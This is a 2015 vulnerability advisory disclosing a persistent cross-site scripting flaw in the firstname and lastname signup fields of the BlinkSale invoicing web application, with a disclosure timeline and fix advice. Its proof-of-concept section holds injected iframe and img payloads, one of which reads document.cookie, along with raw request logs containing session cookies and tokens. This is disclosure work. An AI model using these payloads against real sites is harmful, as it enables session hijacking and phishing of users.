Document Title:
===============
BlinkSale Bug Bounty #1 - Encode & Validation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1416


Release Date:
=============
2015-02-06


Vulnerability Laboratory ID (VL-ID):
====================================
1416


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
We like to get paid. We’re sure you feel the same. So while you can use Blinksale and get paid by check, our integration 
with Stripe* makes it easy to get paid in a flash. Just sign up at Stripe, put your credentials into Blinksale, and you’re 
all set to accept credit card payments on your invoices!

(Copy of the Vendor Homepage: https://www.blinksale.com/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation mail encoding web vulnerability in the official BlinkSale web-application.


Vulnerability Disclosure Timeline:
==================================
2015-01-19:     Researcher Notification & Coordination (Benjamin Kunz Mejri)
2015-01-20:     Vendor Notification (BlinksaleSecurity Team)
2015-01-26:     Vendor Response/Feedback (BlinksaleSecurity Team)
2015-02-03:     Vendor Fix/Patch  (Blinksale Developer Team)
2015-02-06:     Public Disclosure  (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Doublewide Partners
Product: Blinksale 2015 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation mail encoding vulnerability has been discovered in the official BlinkSale company web-application.
The issue allows remote attackers to inject own malicious web context to the application-side of a vulnerable module or function.

The security vulnerability is located in the `firstname` and `lastname` input field values of the `signups` file. Remote attackers and 
local privileged application user accounts can exploit the issue to execute persistent malicious context in blinksale service mails.
The injection takes place in the signup POST method request with the vulnerable input values. The execution of the script code occurs 
on the application-side in the email after the introduction word `Hello` [X Username]. Attackers are able to inject iframes, img sources 
with onload alert or other script code tags. The service does not encode the input and has also no input restriction. After the code has 
been saved during the registration the internal service takes the wrong encoded dbms entries and stream them back in a notification mail 
to the users inbox.

The security risk of the persistent input validation web vulnerability in the mail encoding of the web-server is estimated as medium with a cvss 
(common vulnerability scoring system) count of 3.6. If the issue is existing in the main service values the other services can be affected by the 
issue too. Exploitation of the mail encoding and web-server validation vulnerability requires low or medium user interaction and no privileged 
customer application user account. Successful exploitation of the persistent mail encoding web vulnerability results in session hijacking, persistent 
phishing attacks, persistent redirects to external malicious source and persistent manipulation of affected or connected module context.

Request Method(s):
        [+] POST

Vulnerable Module(s):
        [+] signups

Vulnerable Parameter(s):
        [+] firstname
        [+] lastname

Affected Module(s):
        [+] Welcome to Blinksale!


Proof of Concept (PoC):
=======================
The application-side mail encoding web vulnerability can be exploited by remote attackers with low privileged application user accounta and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

1. Open the signup website of the blinksale portal (https://application.blinksale.com/signups)
2. Include random values to the email, password and inject a script code payload as firstname and lastname to the input fields. Save!
3. Go to the mail inbox and wait for the automatic reply with the persistent injected script code
4. Successful reproduce of the remote mail encoding vulnerability
Note: The issue can stream persistent malicious context in mails to existing users, new users or random emails to phish or spam!


PoC: Welcome to Blinksale!

<table class="content" cellpadding="0" cellspacing="0" border="0" style="border-collapse: collapse; mso-table-lspace: 0pt; 
mso-table-rspace: 0pt; width: 100%; margin: 0; padding: 0;">
  <tbody>
    <tr>
      <td style="vertical-align: top; text-align: left; font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 16px; 
line-height: 24px; font-weight: 400; margin: 0; padding: 0; border: none;" align="left" valign="top">
        <h1 style="font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 22px; line-height: 24px; font-weight: 700; color: #333333 
!important; margin: 0; padding: 0 0 20px;">Hello "><[APPLICATION-SIDE SCRIPT CODE EXECUTION VULNERABILITY!]iframe src="a" onload='alert("PENTEST")'>
        <p style="font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 16px; line-height: 24px; font-weight: 400; 
margin: 0; padding: 0 0 20px; border: none;">Welcome to Blinksale, the easiest way to send invoices online! Please save this
        email as it contains important information about your account.</p>
        <p style="font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 16px; line-height: 24px; font-weight: 400; 
margin: 0; padding: 0; border: none;">Your Account Details:</p>
        <ul style="margin: 0; padding: 0 0 20px 15px; list-style: none;">
            <li style="font-family: Helvetica, Arial, Georgia, sans-serif; font-size: 16px; line-height: 24px; font-weight: 
400; margin: 0; padding: 0; list-style: disc inside;">Your Blinksale homepage is: <a style="color: #0099ff; text-decoration: none; outline: none;" 
href="http://cio.blinksale.com/e/c/eyJlbWFpbF9pZCI6Ik1UQXpOVEU2RmxQN0FtUUFBbk1BRmhQdkdnRkxBN1plckJVdUdGUzlYY2dCY3pvMU16UXhOd
0E9IiwicG9zaXRpb24iOjAsImhyZWYiOiJodHRwczovL3Rlc3RlcjIzLmJsaW5rc2FsZS5jb20ifQ==">https://tester23.blinksale.com</a>
</li>


--- PoC Session Logs [POST] (Inject)---
20:49:10.401[466ms][total 466ms] Status: 302[Found]
POST https://application.blinksale.com/signups Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[102] Mime Type[text/html]
   Request Header:
      Host[application.blinksale.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-
US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://application.blinksale.com/signup]
      Cookie[_ga=GA1.2.1597400543.1421696385; _gat=1; 
_bs1_session=BAh7CkkiCmZsYXNoBjoGRUZJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoPc2Vzc2lvbl9pZCIlMTdhN2YyYmM
zNzk1NTg3YzU5NGM3MmI0OTYyZTNkMzU6EF9jc3JmX3Rva2VuSSIxSzZDL0JqUGd5dXk1bThrOSsvZ0Mrek44b1VzTk5jMjlJdE5ZZjJ
JeVB5Yz0GOwBGOhxhbmFseXRpY2FsX2dhX2JsaW5rc2FsZVsAOhZhbmFseXRpY2FsX2Fkcm9sbFsA--dcc12bdbc4f03f051603c5b9bda8c9097b3fdce6; 
SnapABugRef=https%3A%2F%2Fapplication.blinksale.com%2Fsignup%20https%3A%2F%2Fwww.blinksale.com%2F; 
SnapABugHistory=1#; SnapABugVisit=3#1421696408; SnapABugChatWindow=false|0|-1,0,-1,0; __ar_v4=RKJIJ445EBHOVP4E26ZTZF%3A20150118%3A3%7
COPBKELH4GFBMBJGM76CDSD%3A20150118%3A3%7C4ZEUEB72Y5AGLAYIRHCWUL%3A20150118%3A3; _cioid=59631; 
_cio=bbf0ad6b-9167-ef35-541a-173be03a58bd]
      Connection[keep-alive]
   POST-Daten:
      authenticity_token[K6C%2FBjPgyuy5m8k9%2B%2FgC%2BzN8oUsNNc29ItNYf2IyPyc%3D]
      sign_up%5Bcode%5D[]
      sign_up%5Bfirst_name%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      sign_up%5Blast_name%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      sign_up%5Bemail%5D[admin%40evolution-sec.com]
      sign_up%5Baddress%5D[]
      sign_up%5Bdomain%5D[pentester7331]
      sign_up%5Bpassword%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      sign_up%5Bpassword_confirmation%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
   Response Header:
      Cache-Control[no-cache, no-store, must-revalidate, max-age=0, pre-check=0, post-check=0]
Content-Type[text/html; charset=utf-8]
      Date[Mon, 19 Jan 2015 19:49:12 GMT]
      Location[https://pentester7331.blinksale.com/]
      Pragma[no-cache]
      Server[nginx]
      Set-Cookie[_bs1_session=BAh7C0kiCmZsYXNoBjoGRUZJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsHOhhjb252ZXJzaW9uX3RyYWNraW5nVDoMc3VjY2Vzc0lDOh5BY3RpdmV
TdXBwb3J0OjpTYWZlQnVmZmVyIgGfPHN0cm9uZz5XZWxjb21lICZxdW90OyZndDsmbHQ7JnF1b3Q7Jmx0O2ltZyBzcm
M9JnF1b3Q7eCZxdW90OyZndDslMjAlMjAmZ3Q7JnF1b3Q7Jmx0O2lmcmFtZSBzcmM9YSZndDslMjAmbHQ7aWZyYW1lJmd0OywgeW91ciBhY2NvdW50IGhhcyBiZWVuIGNyZWF0ZWQhPC9zdHJvbmc
%2BBjsARgY6CkB1c2Vkewc7B0Y7CEY6D3Nlc3Npb25faWQiJTE3YTdmMmJjMzc5NTU4N2M1OTRjNzJiNDk2MmUzZDM1OhBfY3NyZl90b2tlbkkiMUs2Qy9CalBneXV5NW04azkrL2dDK3pOOG9Vc05OYz
I5SXROWWYySXlQeWM9BjsARjocYW5hbHl0aWNhbF9nYV9ibGlua3NhbGVbBlsHOgpldmVudEkiFWFjY291b
nRfY3JlYXRpb24GOwBGOhZhbmFseXRpY2FsX2Fkcm9sbFsGWwc7DkAOOgx1c2VyX2lkaQMqBDQ%3D--18531b9ae0baf8456e5f0e46055e512ce9699305; domain=.blinksale.com; path=/; secure; HttpOnly]
      Status[302 Found]
      Strict-Transport-Security[max-age=631152000; includeSubdomains]
      x-content-type-options[nosniff]
      X-Frame-Options[DENY]
      X-Runtime[297]
      X-XSS-Protection[1; mode=block]
      Content-Length[102]
      Connection[keep-alive]
-
Status: Welcome "><"<img src="x">%20%20>"<iframe src=a>%20<iframe>, your account has been created!

PoC2:

<html>
<head>
<title>Any feedback on Blinksale?</title>
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">
</head>
<body>
<table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b>Any feedback on Blinksale?</td></tr><tr><td><b>Von: </b>Patrick Dodd <patrick@blinksale.com></td></tr><tr><td><b>Datum: </b>03.02.2015 20:45</td></tr></table><table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr><td><b>An: </b>bkm@evolution-sec.com</td></tr></table><br>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; ">
<style type="text/css">
body { max-width:500px; margin:10; padding: 0; font-family: sans-serif; font-size:13px; font-style: normal;}
h1 { font-size: 16px; line-height:20px; }
h2 { font-size: 14px; line-height:18px; }
p { font-size: 13px; line-height: 16px; }
.center { text-align: center }
.unsubscribe { color:#727272; line-height:18px; }
.unsubscribe a { color: #333 }

@media only screen and (max-device-width: 480px) {
body { width: 320px !important; margin: 0; padding: 0; }
td img { height:auto !important; max-width:100% !important;}
}
</style>
</head>
<body style="max-width: 500px; font-family: sans-serif; font-size: 13px; font-style: normal; margin: 10; padding: 0;">
<!-- We'll replace this content tag with whatever you write in your email -->
<p style="font-size: 13px; line-height: 16px;">"><iframe src="http://www.evolution-sec.com" onload='alert(document.cookie)<' i noticed that your blinksale trial has expired.><p style="font-size: 13px; line-height: 16px;">If you meant to keep your Blinksale account, you can do so by going to your Blinksale <a href="http://cio.blinksale.com/e/c/eyJlbWFpbF9pZCI6Ik1UQXpOVEU2RmxQN0FtUUFBbk1BRmhQdkdnRkxBN1plckJVdUdGVFJKRWdCY3pveE1qZ3hPVGdBIiwicG9zaXRpb24iOjAsImhyZWYiOiJodHRwczovL3Rlc3RlcjIzLmJsaW5rc2FsZS5jb20vc2V0dGluZ3Mvc3Vic2NyaXB0aW9uIn0=" target="_blank" rel="nofollow" text="Billing Information">Billing Information</a> page.</p>

<p style="font-size: 13px; line-height: 16px;">If you haven't already signed up for a paid plan, do you care to share any feedback? </p>
<p style="font-size: 13px; line-height: 16px;">What did you like? What didn't you like? Did you go with another invoicing solution? If so, why?</p>

<p style="font-size: 13px; line-height: 16px;">All the best,</p>

<p class="unsubscribe" style="font-size: 13px; line-height: 18px; color: #727272;">-------<br>
Don't want to receive amazing emails from us?
<a class="untracked" href="https://manage.customer.io/emails/MTAzNTE6FlP7AmQAAnMAFhPvGgFLA7ZerBUuGFTRJEgBczoxMjgxOTgA/unsubscribe" style="color: #333;">Unsubscribe</a>
</p>
</iframe></p>
<img src="http://cio.blinksale.com/e/o/eyJlbWFpbF9pZCI6Ik1UQXpOVEU2RmxQN0FtUUFBbk1BRmhQdkdnRkxBN1plckJVdUdGVFJKRWdCY3pveE1qZ3hPVGdBIn0=">
</body>
</html>

</body>
</html>


Reference(s):
https://application.blinksale.com/signup
https://pentester7331.blinksale.com/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname and lastname input fields in the signups module.
Encode and parse the values that is get send in a notification to welcome user/customer accounts to prevent an application-side execution.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the blinksale web-application is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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